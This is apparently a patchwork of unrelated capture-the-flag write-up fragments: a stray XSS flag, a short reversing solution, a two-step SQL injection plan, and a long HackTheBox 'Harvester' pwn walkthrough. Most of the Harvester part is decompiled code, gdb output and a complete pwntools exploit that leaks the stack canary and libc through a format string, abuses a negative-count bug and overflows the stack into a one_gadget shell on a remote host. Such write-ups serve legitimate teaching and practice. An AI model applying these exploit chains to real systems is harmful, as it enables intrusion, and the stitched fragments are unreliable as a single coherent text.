> FLAG{DOMDOM-XSS-1337} |
# Happy the Boss (75 pts)
**Description:**
````Happy the cat is the worse boss you'll ever face.Game is harder than Darksouls.
What do we say already ? GIT GUD ?.
Oh btw, check the category well ! ;)Format : Hero{}
Author : iHuggsy````
**Files:**
[HappyBossFight.exe](files/HappyBossFight.exe)
<hr>
So, we have a PE executable here. Let's first execute it and see what we got: 
If we try to hit our dear Happax, here's what we have: 
We hit him with 654 damage. Remember well this number, it will be useful in a few minutes.
After dealing with our damage, the cat kill us and the program stop.
Quick review of the other options:- 2. Stats: give us our stats, not very useful though.- 3. Switch weapon: add a few damages to our weapon, it can maybe be used to up our damages until we can one shot Happax (but I'm lazy).- 4. Flee: quit the program.
Let's have a basic check of the reversed binary's main function: 
Without even trying to understand the program, we can see space in memory (var_1bh) set to the value of our damage: 
We try to modify this value to something greater to check if there is any modification protection in the program: 
Let's see what we get now: 
Here is the flag!
Flag: `Hero{ltNPdnDjgqKQghQbQrRH}`
Author: Ooggle |
1. Inject the `api/list` endpoint with SQL injection in an ORDER BY clause to find the name of the table with the flag in it.2. Inject the same endpoint, this time knowing the table name, to find the flag. |
# CTF HackTheBox 2021 Cyber Apocalypse 2021 - Harvester
# Full writeups for this challenge avaliable on [https://github.com/evyatar9/Writeups/blob/master/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/](https://github.com/evyatar9/Writeups/blob/master/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/)
Category: Pwn, Points: 325
Attached file [pwn_harvester.zip](https://github.com/evyatar9/Writeups/blob/master/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/Pwn-Harvester/pwn_harvester.zip)
# Harvester Solution
Let's check the binary using ```checksec```:```ββ[evyatar@parrot]β[/ctf_htb/cyber_apocalypse/pwn/harvester]ββββΌ $ checksec harvester Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```
[Full RELRO](https://ctf101.org/binary-exploitation/relocation-read-only/) (removes the ability to perform a "GOT overwrite" attack), [Canary](https://ctf101.org/binary-exploitation/stack-canaries/), [NX enabled](https://ctf101.org/binary-exploitation/no-execute/) and [PIE](https://en.wikipedia.org/wiki/Position-independent_code).
By running the binary we get the following:```consoleββ[evyatar@parrot]β[/ctf_htb/cyber_apocalypse/pwn/harvester]ββββΌ $ ./harvesterA wild Harvester appeared ?
Options:
[1] Fight ? [2] Inventory ?[3] Stare ? [4] Run ?>
```
By observe the code using [Ghidra](https://ghidra-sre.org/) we can see few intresing functions.
The first function is ```stare```:```cvoid stare(void)
{ long in_FS_OFFSET; undefined local_38 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("\x1b[1;36m"); printstr("\nYou try to find its weakness, but it seems invincible.."); printstr("\nLooking around, you see something inside a bush."); printf("\x1b[1;32m"); printstr(&DAT_0010129a); pie = pie + 1; if (pie == 0x16) { printf("\x1b[1;32m"); printstr("\nYou also notice that if the Harvester eats too many pies, it falls asleep."); printstr("\nDo you want to feed it?\n> "); read(0,local_38,0x40); printf("\x1b[1;31m"); printstr("\nThis did not work as planned..\n"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}```
We can see that we can get buffer overflow on ```read(0,local_38,0x40);```, It's read 0x40 (64) bytes where the buffer size is 0x28 (40) - It's mean we have 24 bytes to overflow.
We can get this overflow only if ```pie === 0x16```, The function make ```pie = pie + 1;``` before.
The sechind function is ```inventory```:```cvoid inventory(void)
{ long in_FS_OFFSET; int local_18; char local_13 [3]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_18 = 0; show_pies(pie); printstr("\nDo you want to drop some? (y/n)\n> "); read(0,local_13,2); if (local_13[0] == 'y') { printstr("\nHow many do you want to drop?\n> "); __isoc99_scanf(&DAT_00101202,&local_18); pie = pie - local_18; if ((int)pie < 1) { printstr(&DAT_00101205); /* WARNING: Subroutine does not return */ exit(1); } show_pies(pie); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}```
Here, we can see the following ```pie = pie - local_18;``` - It's mean If we insert negative value we can increment ```pie``` value.
The last function is ```fight```: ```cvoid fight(void)
{ long in_FS_OFFSET; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; printf("\x1b[1;36m"); printstr("\nChoose weapon:\n"); printstr(&DAT_00101138); read(0,&local_38,5); printstr("\nYour choice is: "); printf((char *)&local_38); printf("\x1b[1;31m"); printstr("\nYou are not strong enough to fight yet.\n"); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}```
By the following line ```printf((char *)&local_38);``` we can get [Format String Vulnerability](https://ctf101.org/binary-exploitation/what-is-a-format-string-vulnerability/).
So far we found:1. Buffer overflow on ```stare``` function if pie equals to 0x16 (Actually to 0x15 because ```pie = pie + 1;``` on ```stare```).2. ```inventory``` function that reads our input without checking for negative values.3. ```fight``` with format string vulnerability.
So with those vulnerabilities our plan is:1. Leak stack values stored on the stack by inputting format specifiers such as %p with ```fight``` - It's could help us to leak the Canary address, address from libc to calculate the offset.2. Set ```pie=0x16``` with ```inventory``` function to get buffer overflow.3. Send our payload using ```stare``` function.
Let's run the binary using ```gdb``` to leak values stored on the stack.
We need to create breakepoint right after the ```printf``` function:```asmgefβ€ disassemble fightDump of assembler code for function fight: 0x0000000000000b30 <+0>: push rbp 0x0000000000000b31 <+1>: mov rbp,rsp 0x0000000000000b34 <+4>: sub rsp,0x30 0x0000000000000b38 <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000000b41 <+17>: mov QWORD PTR [rbp-0x8],rax 0x0000000000000b45 <+21>: xor eax,eax 0x0000000000000b47 <+23>: mov QWORD PTR [rbp-0x30],0x0 0x0000000000000b4f <+31>: mov QWORD PTR [rbp-0x28],0x0 0x0000000000000b57 <+39>: mov QWORD PTR [rbp-0x20],0x0 0x0000000000000b5f <+47>: mov QWORD PTR [rbp-0x18],0x0 0x0000000000000b67 <+55>: lea rdi,[rip+0x5ac] # 0x111a 0x0000000000000b6e <+62>: mov eax,0x0 0x0000000000000b73 <+67>: call 0x840 <printf@plt> 0x0000000000000b78 <+72>: lea rdi,[rip+0x5a3] # 0x1122 0x0000000000000b7f <+79>: call 0x9da <printstr> 0x0000000000000b84 <+84>: lea rdi,[rip+0x5ad] # 0x1138 0x0000000000000b8b <+91>: call 0x9da <printstr> 0x0000000000000b90 <+96>: lea rax,[rbp-0x30] 0x0000000000000b94 <+100>: mov edx,0x5 0x0000000000000b99 <+105>: mov rsi,rax 0x0000000000000b9c <+108>: mov edi,0x0 0x0000000000000ba1 <+113>: call 0x860 <read@plt> 0x0000000000000ba6 <+118>: lea rdi,[rip+0x5b5] # 0x1162 0x0000000000000bad <+125>: call 0x9da <printstr> 0x0000000000000bb2 <+130>: lea rax,[rbp-0x30] 0x0000000000000bb6 <+134>: mov rdi,rax 0x0000000000000bb9 <+137>: mov eax,0x0 0x0000000000000bbe <+142>: call 0x840 <printf@plt> 0x0000000000000bc3 <+147>: lea rdi,[rip+0x4be] # 0x1088 0x0000000000000bca <+154>: mov eax,0x0 0x0000000000000bcf <+159>: call 0x840 <printf@plt> 0x0000000000000bd4 <+164>: lea rdi,[rip+0x59d] # 0x1178 0x0000000000000bdb <+171>: call 0x9da <printstr> 0x0000000000000be0 <+176>: nop 0x0000000000000be1 <+177>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000000be5 <+181>: xor rax,QWORD PTR fs:0x28 0x0000000000000bee <+190>: je 0xbf5 <fight+197> 0x0000000000000bf0 <+192>: call 0x830 <__stack_chk_fail@plt> 0x0000000000000bf5 <+197>: leave 0x0000000000000bf6 <+198>: ret End of assembler dump.gefβ€ b *fight+147Breakpoint 1 at 0xbc3```
By running the binary and enumerate on stack I found that ```%11$p``` is the stack canary and ```%21$p``` is libc_start function address:```asmgefβ€ rStarting program: /ctf_htb/cyber_apocalypse/pwn/harvesterharvester
A wild Harvester appeared ?
Options:
[1] Fight ? [2] Inventory ?[3] Stare ? [4] Run ?> 1
Choose weapon:
[1] ? [2] ?[3] ? [4] ?> %11$p
Your choice is: 0x8b1e5366c4c23000[ Legend: Modified register | Code | Heap | Stack | String ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ$rax : 0x12 $rbx : 0x0 $rcx : 0x0 $rdx : 0x00007ffff7dcf8c0 β 0x0000000000000000$rsp : 0x00007fffffffdec0 β 0x0000007024313125 ("%11$p"?)$rbp : 0x00007fffffffdef0 β 0x00007fffffffdf10 β 0x00007fffffffdf30 β 0x0000555555555000 β <__libc_csu_init+0> push r15$rsi : 0x00007fffffffb820 β "0x8b1e5366c4c230001;31m"$rdi : 0x1 $rip : 0x0000555555554bc3 β <fight+147> lea rdi, [rip+0x4be] # 0x555555555088$r8 : 0x12 $r9 : 0x00007fffffffb698 β 0x00007ffff7a6dbff β <_IO_file_xsputn+511> mov r12, rax$r10 : 0x0 $r11 : 0x246 $r12 : 0x00005555555548d0 β <_start+0> xor ebp, ebp$r13 : 0x00007fffffffe010 β 0x0000000000000001$r14 : 0x0 $r15 : 0x0 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ0x00007fffffffdec0β+0x0000: 0x0000007024313125 ("%11$p"?) β $rsp0x00007fffffffdec8β+0x0008: 0x00000000000000000x00007fffffffded0β+0x0010: 0x00000000000000000x00007fffffffded8β+0x0018: 0x00000000000000000x00007fffffffdee0β+0x0020: 0x00007fffffffdf10 β 0x00007fffffffdf30 β 0x0000555555555000 β <__libc_csu_init+0> push r150x00007fffffffdee8β+0x0028: 0x8b1e5366c4c230000x00007fffffffdef0β+0x0030: 0x00007fffffffdf10 β 0x00007fffffffdf30 β 0x0000555555555000 β <__libc_csu_init+0> push r15 β $rbp0x00007fffffffdef8β+0x0038: 0x0000555555554eca β <harvest+119> jmp 0x555555554f17 <harvest+196>βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ[#0] 0x555555554bc3 β fight()[#1] 0x555555554eca β harvest()[#2] 0x555555554fd8 β main()ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Breakpoint 1, 0x0000555555554bc3 in fight ()gefβ€ gefβ€ canary[+] Found AT_RANDOM at 0x7fffffffe329, reading 8 bytes[+] The canary of process 21347 is 0x8b1e5366c4c23000gefβ€ ```
So we can see ```Your choice is: 0x8b1e5366c4c23000``` which is the stack canary.
Next, Let's leak address from libc:```asmgefβ€ rStarting program: /ctf_htb/cyber_apocalypse/pwn/harvester/harvester
A wild Harvester appeared ?
Options:
[1] Fight ? [2] Inventory ?[3] Stare ? [4] Run ?> 1
Choose weapon:
[1] ? [2] ?[3] ? [4] ?> %21$pYour choice is: 0x7ffff7a03bf7[ Legend: Modified register | Code | Heap | Stack | String ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ$rax : 0xe $rbx : 0x0 $rcx : 0x0 $rdx : 0x00007ffff7dcf8c0 β 0x0000000000000000$rsp : 0x00007fffffffdec0 β 0x0000007024313225 ("%21$p"?)$rbp : 0x00007fffffffdef0 β 0x00007fffffffdf10 β 0x00007fffffffdf30 β 0x0000555555555000 β <__libc_csu_init+0> push r15$rsi : 0x00007fffffffb820 β "0x7ffff7a03bf7"$rdi : 0x1 $rip : 0x0000555555554bc3 β <fight+147> lea rdi, [rip+0x4be] # 0x555555555088$r8 : 0xe $r9 : 0x00007fffffffb69c β 0x0000000e00007fff$r10 : 0x0 $r11 : 0x246 $r12 : 0x00005555555548d0 β <_start+0> xor ebp, ebp$r13 : 0x00007fffffffe010 β 0x0000000000000001$r14 : 0x0 $r15 : 0x0 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ0x00007fffffffdec0β+0x0000: 0x0000007024313225 ("%21$p"?) β $rsp0x00007fffffffdec8β+0x0008: 0x00000000000000000x00007fffffffded0β+0x0010: 0x00000000000000000x00007fffffffded8β+0x0018: 0x00000000000000000x00007fffffffdee0β+0x0020: 0x00007fffffffdf10 β 0x00007fffffffdf30 β 0x0000555555555000 β <__libc_csu_init+0> push r150x00007fffffffdee8β+0x0028: 0xd5904bdb22b0ab000x00007fffffffdef0β+0x0030: 0x00007fffffffdf10 β 0x00007fffffffdf30 β 0x0000555555555000 β <__libc_csu_init+0> push r15 β $rbp0x00007fffffffdef8β+0x0038: 0x0000555555554eca β <harvest+119> jmp 0x555555554f17 <harvest+196>βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ[#0] 0x555555554bc3 β fight()[#1] 0x555555554eca β harvest()[#2] 0x555555554fd8 β main()gefβ€ ```
And by running ```telescope``` command we can see:```asmgefβ€ telescope 160x00007fffffffdec0β+0x0000: 0x0000007024313225 ("%21$p"?) β $rsp0x00007fffffffdec8β+0x0008: 0x00000000000000000x00007fffffffded0β+0x0010: 0x00000000000000000x00007fffffffded8β+0x0018: 0x00000000000000000x00007fffffffdee0β+0x0020: 0x00007fffffffdf10 β 0x00007fffffffdf30 β 0x0000555555555000 β <__libc_csu_init+0> push r150x00007fffffffdee8β+0x0028: 0xd5904bdb22b0ab000x00007fffffffdef0β+0x0030: 0x00007fffffffdf10 β 0x00007fffffffdf30 β 0x0000555555555000 β <__libc_csu_init+0> push r15 β $rbp0x00007fffffffdef8β+0x0038: 0x0000555555554eca β <harvest+119> jmp 0x555555554f17 <harvest+196>0x00007fffffffdf00β+0x0040: 0x00000001000000200x00007fffffffdf08β+0x0048: 0xd5904bdb22b0ab000x00007fffffffdf10β+0x0050: 0x00007fffffffdf30 β 0x0000555555555000 β <__libc_csu_init+0> push r150x00007fffffffdf18β+0x0058: 0x0000555555554fd8 β <main+72> mov eax, 0x00x00007fffffffdf20β+0x0060: 0x00007fffffffe010 β 0x00000000000000010x00007fffffffdf28β+0x0068: 0xd5904bdb22b0ab000x00007fffffffdf30β+0x0070: 0x0000555555555000 β <__libc_csu_init+0> push r150x00007fffffffdf38β+0x0078: 0x00007ffff7a03bf7 β <__libc_start_main+231> mov edi, eax```
From ```%21$p``` we get ```Your choice is: 0x7ffff7a03bf7``` which is ```0x00007ffff7a03bf7 β <__libc_start_main+231> mov edi, eax```.
Great, so fat we have leak of Canary and ```<__libc_start_main+231>```.
Now, Let's set a breakpoint on ```stare``` to get the offset between ```rip``` and buffer overflow address.
Breakpoint located right after ```read``````asmgefβ€ disassemble stareDump of assembler code for function stare: 0x0000555555554d2b <+0>: push rbp 0x0000555555554d2c <+1>: mov rbp,rsp 0x0000555555554d2f <+4>: sub rsp,0x30 0x0000555555554d33 <+8>: mov rax,QWORD PTR fs:0x28 0x0000555555554d3c <+17>: mov QWORD PTR [rbp-0x8],rax 0x0000555555554d40 <+21>: xor eax,eax 0x0000555555554d42 <+23>: lea rdi,[rip+0x3d1] # 0x55555555511a 0x0000555555554d49 <+30>: mov eax,0x0 0x0000555555554d4e <+35>: call 0x555555554840 <printf@plt> 0x0000555555554d53 <+40>: lea rdi,[rip+0x4ce] # 0x555555555228 0x0000555555554d5a <+47>: call 0x5555555549da <printstr> 0x0000555555554d5f <+52>: lea rdi,[rip+0x502] # 0x555555555268 0x0000555555554d66 <+59>: call 0x5555555549da <printstr> 0x0000555555554d6b <+64>: lea rdi,[rip+0x34f] # 0x5555555550c1 0x0000555555554d72 <+71>: mov eax,0x0 0x0000555555554d77 <+76>: call 0x555555554840 <printf@plt> 0x0000555555554d7c <+81>: lea rdi,[rip+0x517] # 0x55555555529a 0x0000555555554d83 <+88>: call 0x5555555549da <printstr> 0x0000555555554d88 <+93>: mov eax,DWORD PTR [rip+0x201282] # 0x555555756010 <pie> 0x0000555555554d8e <+99>: add eax,0x1 0x0000555555554d91 <+102>: mov DWORD PTR [rip+0x201279],eax # 0x555555756010 <pie> 0x0000555555554d97 <+108>: mov eax,DWORD PTR [rip+0x201273] # 0x555555756010 <pie> 0x0000555555554d9d <+114>: cmp eax,0x16 0x0000555555554da0 <+117>: jne 0x555555554dfe <stare+211> 0x0000555555554da2 <+119>: lea rdi,[rip+0x318] # 0x5555555550c1 0x0000555555554da9 <+126>: mov eax,0x0 0x0000555555554dae <+131>: call 0x555555554840 <printf@plt> 0x0000555555554db3 <+136>: lea rdi,[rip+0x4fe] # 0x5555555552b8 0x0000555555554dba <+143>: call 0x5555555549da <printstr> 0x0000555555554dbf <+148>: lea rdi,[rip+0x53e] # 0x555555555304 0x0000555555554dc6 <+155>: call 0x5555555549da <printstr> 0x0000555555554dcb <+160>: lea rax,[rbp-0x30] 0x0000555555554dcf <+164>: mov edx,0x40 0x0000555555554dd4 <+169>: mov rsi,rax 0x0000555555554dd7 <+172>: mov edi,0x0 0x0000555555554ddc <+177>: call 0x555555554860 <read@plt> 0x0000555555554de1 <+182>: lea rdi,[rip+0x2a0] # 0x555555555088 0x0000555555554de8 <+189>: mov eax,0x0 0x0000555555554ded <+194>: call 0x555555554840 <printf@plt> 0x0000555555554df2 <+199>: lea rdi,[rip+0x527] # 0x555555555320 0x0000555555554df9 <+206>: call 0x5555555549da <printstr> 0x0000555555554dfe <+211>: nop 0x0000555555554dff <+212>: mov rax,QWORD PTR [rbp-0x8] 0x0000555555554e03 <+216>: xor rax,QWORD PTR fs:0x28 0x0000555555554e0c <+225>: je 0x555555554e13 <stare+232> 0x0000555555554e0e <+227>: call 0x555555554830 <__stack_chk_fail@plt> 0x0000555555554e13 <+232>: leave 0x0000555555554e14 <+233>: ret End of assembler dump.gefβ€ b *stare+182Breakpoint 2 at 0x555555554de1```
Run it (first set pie to 0x16 from ```Inventory``` function):```asmgefβ€ rStarting program: /ctf_htb/cyber_apocalypse/pwn/harvester/harvester
A wild Harvester appeared ?
Options:
[1] Fight ? [2] Inventory ?[3] Stare ? [4] Run ?> 2
You have: 10 ?
Do you want to drop some? (y/n)> y
How many do you want to drop?> -11
You have: 21 ?
Options:
[1] Fight ? [2] Inventory ?[3] Stare ? [4] Run ?> ```
Now ```pie``` equals to 21 (0x15), Let's run ```stare``` function to insert the buffer then we can calculate the offset between the buffer to ```rip```:```asmOptions:
[1] Fight ? [2] Inventory ?[3] Stare ? [4] Run ?> 3
You try to find its weakness, but it seems invincible..Looking around, you see something inside a bush.[+] You found 1 ?!
You also notice that if the Harvester eats too many pies, it falls asleep.Do you want to feed it?> AAAAAAAA
[ Legend: Modified register | Code | Heap | Stack | String ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ$rax : 0x9 $rbx : 0x0 $rcx : 0x00007ffff7af2151 β 0x5777fffff0003d48 ("H="?)$rdx : 0x40 $rsp : 0x00007fffffffdec0 β 0x4141414141414141 ("AAAAAAAA"?)$rbp : 0x00007fffffffdef0 β 0x00007fffffffdf10 β 0x00007fffffffdf30 β 0x0000555555555000 β <__libc_csu_init+0> push r15$rsi : 0x00007fffffffdec0 β 0x4141414141414141 ("AAAAAAAA"?)$rdi : 0x0 $rip : 0x0000555555554de1 β <stare+182> lea rdi, [rip+0x2a0] # 0x555555555088$r8 : 0x20 $r9 : 0x00007ffff7fdf500 β 0x00007ffff7fdf500 β [loop detected]$r10 : 0x00007ffff7b80c40 β 0x0002000200020002$r11 : 0x246 $r12 : 0x00005555555548d0 β <_start+0> xor ebp, ebp$r13 : 0x00007fffffffe010 β 0x0000000000000001$r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ0x00007fffffffdec0β+0x0000: 0x4141414141414141 β $rsp, $rsi0x00007fffffffdec8β+0x0008: 0x48698d93d184e40a0x00007fffffffded0β+0x0010: 0x00007fffffffdef0 β 0x00007fffffffdf10 β 0x00007fffffffdf30 β 0x0000555555555000 β <__libc_csu_init+0> push r150x00007fffffffded8β+0x0018: 0x0000555555554b19 β <menu+64> nop 0x00007fffffffdee0β+0x0020: 0x000a79fffffffff50x00007fffffffdee8β+0x0028: 0x48698d93d184e4000x00007fffffffdef0β+0x0030: 0x00007fffffffdf10 β 0x00007fffffffdf30 β 0x0000555555555000 β <__libc_csu_init+0> push r15 β $rbp0x00007fffffffdef8β+0x0038: 0x0000555555554ee2 β <harvest+143> jmp 0x555555554f17 <harvest+196>βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ 0x555555554dd4 <stare+169> mov rsi, rax 0x555555554dd7 <stare+172> mov edi, 0x0 0x555555554ddc <stare+177> call 0x555555554860 <read@plt> β 0x555555554de1 <stare+182> lea rdi, [rip+0x2a0] # 0x555555555088 0x555555554de8 <stare+189> mov eax, 0x0 0x555555554ded <stare+194> call 0x555555554840 <printf@plt> 0x555555554df2 <stare+199> lea rdi, [rip+0x527] # 0x555555555320 0x555555554df9 <stare+206> call 0x5555555549da <printstr> 0x555555554dfe <stare+211> nop βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ[#0] 0x555555554de1 β stare()[#1] 0x555555554ee2 β harvest()[#2] 0x555555554fd8 β main()ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Breakpoint 2, 0x0000555555554de1 in stare ()gefβ€ search-pattern AAAAAAAA[+] Searching 'AAAAAAAA' in memory[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw- 0x7fffffffdec0 - 0x7fffffffdec8 β "AAAAAAAA[...]" gefβ€ i fStack level 0, frame at 0x7fffffffdf00: rip = 0x555555554de1 in stare; saved rip = 0x555555554ee2 called by frame at 0x7fffffffdf20 Arglist at 0x7fffffffdef0, args: Locals at 0x7fffffffdef0, Previous frame's sp is 0x7fffffffdf00 Saved registers: rbp at 0x7fffffffdef0, rip at 0x7fffffffdef8gefβ€ ```
So our buffer located on ```0x7fffffffdec0``` and rip on ```0x7fffffffdef8``` so The offset is```0x7fffffffdef8-0x7fffffffdec0=0x38``` - 0x38 (56) bytes, It's mean with ```read(0,local_38,0x40);``` funtion that reads 0x40 (64) bytes the stack will be:```| buffer (40 bytes) | Canary - 8 bytes | 8 bytes | rip(8 bytes) |```
So we can only use the last 8 bytes (of rip) to get shell, We can get it using [one_gadge](https://github.com/david942j/one_gadget) on libc to get one gadget that give us shell:```consoleββ[evyatar@parrot]β[/ctf_htb/cyber_apocalypse/pwn/harvester]ββββΌ $ one_gadget libc.so.60x4f3d5 execve("/bin/sh", rsp+0x40, environ)constraints: rsp & 0xf == 0 rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)constraints: [rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL```
So we have:1. Leak of Canary, libc start function.2. One gadget - 0x4f3d5.
Let's write python code to get shell.
First, leak Canary and libc start function:```pythonbinary = context.binary = ELF('./harvester')
if args.REMOTE: libc = ELF('./libc.so.6') p = remote('188.166.172.13',30231)else: # When we running locally use this libc, in remote we will use the attached libc libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process(binary.path)
def leak(stack_pos): print(p.recvuntil('>').decode('utf-8')) print("1") p.sendline("1") print(p.recvuntil('>').decode('utf-8')) print("%" + str(stack_pos) + "$p") p.sendline("%"+str(stack_pos)+"$p") print(p.recvuntil('is: ').decode('utf-8')) leak = int(p.recvuntil('\x1b[1;').strip(b'\x1b[1;').decode(),16) print(leak) return leak
canary = leak(11) # Leak canary value located on 11th on stacklog.info("Canary value: " + hex(canary))
libc_start_offset = 231libc_start_main = leak(21) # Leak <__libc_start_main+231> address - we need to sub 231 later libc.address = libc_start_main - libc_start_offsetlog.info("libc.address: " + hex(libc.address))```
Calculate the ```one_gadget```:```pythonone_gadget = libc.address + 0x4f3d5 #0x4f3d5 # taked from one_gadget libc.so.6```
Set ```pie``` to 0x15:```pythonprint(p.recvuntil('>').decode('utf-8'))print("2")p.sendline("2")print(p.recvuntil('>').decode('utf-8'))print("y")p.sendline("y")print(p.recvuntil('>').decode('utf-8'))print("-11")p.sendline("-11")```
Build and send the payload:```pythonpayload = b"A"*(0x38-0x10) + p64(canary) + 'A'*8 + p64(one_gadget) print(p.recvuntil('>').decode('utf-8'))print("3")p.sendline("3")print(p.recvuntil('>').decode('utf-8'))p.sendline(payload)
p.interactive()```
Let's just put everything together [exploit.py](exploit.py):```consolefrom pwn import *
binary = context.binary = ELF('./harvester')
if args.REMOTE: libc = ELF('./libc.so.6') p = remote('188.166.172.13',30121)else: # When we running locally use this libc, in remote we will use the attached libc libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process(binary.path)
def leak(stack_pos): print(p.recvuntil('>').decode('utf-8')) print("1") p.sendline("1") print(p.recvuntil('>').decode('utf-8')) print("%" + str(stack_pos) + "$p") p.sendline("%"+str(stack_pos)+"$p") print(p.recvuntil('is: ').decode('utf-8')) leak = int(p.recvuntil('\x1b[1;').strip(b'\x1b[1;').decode(),16) print(leak) return leak
canary = leak(11) # Leak canary value located on 11th on stacklog.info("Canary value: " + hex(canary))
libc_start_offset = 231libc_start_main = leak(21) # Leak <__libc_start_main+231> address - we need to sub 231 later libc.address = libc_start_main - libc_start_offset - libc.sym.__libc_start_mainlog.info("libc.address: " + hex(libc.address))
one_gadget = libc.address + 0x4f3d5 #0x4f3d5 # taked from one_gadget libc.so.6
payload = b"A"*(0x38-0x10) + p64(canary) + 'A'*8 + p64(one_gadget)
#Set pie to 21print(p.recvuntil('>').decode('utf-8'))print("2")p.sendline("2")print(p.recvuntil('>').decode('utf-8'))print("y")p.sendline("y")print(p.recvuntil('>').decode('utf-8'))print("-11")p.sendline("-11")
print(p.recvuntil('>').decode('utf-8'))print("3")p.sendline("3")print(p.recvuntil('>').decode('utf-8'))p.sendline(payload)
p.interactive()```
Run it with REMOTE=1:```consoleββ[evyatar@parrot]β[/ctf_htb/cyber_apocalypse/pwn/harvester]ββββΌ $ python exploit.py[*] '/ctf_htb/cyber_apocalypse/pwn/harvester/harvester' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] '/ctf_htb/cyber_apocalypse/pwn/harvester/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[-] Opening connection to 188.166.172.13 on port 30121
A wild Harvester appeared ?
Options:
[1] Fight ? [2] Inventory ?[3] Stare ? [4] Run ?>1 Choose weapon:
[1] ? [2] ?[3] ? [4] ?>%11$p Your choice is: 17937084176963808512[*] Canary value: 0xf8ed530632352d0031mYou are not strong enough to fight yet.
Options:
[1] Fight ? [2] Inventory ?[3] Stare ? [4] Run ?>1 Choose weapon:
[1] ? [2] ?[3] ? [4] ?>%21$p Your choice is: 140274410384375[*] libc.address: 0x7f942e64d00031mYou are not strong enough to fight yet.
Options:
[1] Fight ? [2] Inventory ?[3] Stare ? [4] Run ?>2 You have: 10 ?
Do you want to drop some? (y/n)>y How many do you want to drop?>-11 You have: 21 ?
Options:
[1] Fight ? [2] Inventory ?[3] Stare ? [4] Run ?>3 You try to find its weakness, but it seems invincible..Looking around, you see something inside a bush.[+] You found 1 ?!
You also notice that if the Harvester eats too many pies, it falls asleep.Do you want to feed it?>[*] Switching to interactive mode This did not work as planned..$ cat flag.txtCHTB{h4rv35t3r_15_ju5t_4_b1g_c4n4ry}```
And we get the flag ```CHTB{h4rv35t3r_15_ju5t_4_b1g_c4n4ry}```. |
